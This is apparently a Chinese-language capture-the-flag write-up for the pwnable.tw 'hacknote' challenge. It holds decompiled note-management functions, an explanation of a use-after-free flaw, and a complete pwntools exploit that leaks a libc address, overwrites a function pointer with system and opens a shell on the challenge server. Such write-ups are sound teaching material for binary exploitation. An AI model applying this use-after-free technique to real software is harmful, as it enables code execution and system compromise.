查看文件基本信息
分析程序行为
静态分析
unsigned int add_note() { int v0; // ebx int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf[8]; // [esp+14h] [ebp-14h] BYREF unsigned int v5; // [esp+1Ch] [ebp-Ch] v5 = __readgsdword(0x14u); if ( dword_804A04C <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !*(&ptr + i) ) // 当前的ptr为空才会执行 { *(&ptr + i) = malloc(8u); // 申请8字节空间 // 前4个字节为puts_a1函数 // 后四个字节为content地址 if ( !*(&ptr + i) ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)*(&ptr + i) = puts_a1; // malloc申请来的地址赋值puts函数 printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v0 = (int)*(&ptr + i); *(_DWORD *)(v0 + 4) = malloc(size); if ( !*((_DWORD *)*(&ptr + i) + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)*(&ptr + i) + 1), size); puts("Success !"); ++dword_804A04C; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
unsigned int delete_note() { int v1; // [esp+4h] [ebp-14h] char buf[4]; // [esp+8h] [ebp-10h] BYREF unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts("Out of bound!"); _exit(0); } if ( *(&ptr + v1) ) { free(*((void **)*(&ptr + v1) + 1)); // 先释放content free(*(&ptr + v1)); // 再释放note puts("Success"); } return __readgsdword(0x14u) ^ v3; }
unsigned int print_note() { int v1; // [esp+4h] [ebp-14h] char buf[4]; // [esp+8h] [ebp-10h] BYREF unsigned int v3; // [esp+Ch] [ebp-Ch] v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts("Out of bound!"); _exit(0); } if ( *(&ptr + v1) ) (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));// 这里注意,在add_note赋值时,给的puts里的参数 // 自带+4 return __readgsdword(0x14u) ^ v3; }
漏洞利用
运用UAF,先创建两个note,size需要大一些不能是8,比如设置为20.再先删除掉note0,后删除掉note1,在fastbin中就会有下面的结构
然后再申请note2,并且设置note2的size为8,这样就会note1的地址给note2,并且由于size为8,会把note0的地址给note2的content,这样给content赋值就会更改掉note0里的数据,
又由于free note0时,没有把note0指针设置为null,所以仍然可以调用note0
EXP
from pwn import * # context.log_level = 'debug' # io=process('./hacknote') io=remote('chall.pwnable.tw','10102') elf=ELF('./hacknote') libc=ELF('libc_32.so.6') addr_putsa1=0x0804862B #不能是plt里的,因为它需要参数在栈里 def add_note(size,content): io.recvuntil('Your choice :') io.sendline('1') io.recvuntil('Note size :') io.sendline(size) io.recvuntil('Content :') io.sendline(content) def delete_note(index): io.recvuntil('Your choice :') io.sendline('2') io.recvuntil('Index :') io.sendline(index) def print_note(index): io.recvuntil('Your choice :') io.sendline('3') io.recvuntil('Index :') io.sendline(index) add_note('200','lft') add_note('200','sh') delete_note('0') delete_note('1') add_note('8',p32(addr_putsa1)+p32(elf.got['malloc'])) print_note('0') addr_malloc=u32(io.recv(numb=4)) print hex(addr_malloc) libc.address=addr_malloc-libc.sym['malloc'] addr_system=libc.sym['system'] delete_note('2') add_note('8',p32(addr_system)+';shx00')#这里是system函数,所以会把整个note指针传入进去,所以需要用分号把前面的表示函数地址的数据给或掉 print_note('0') io.interactive()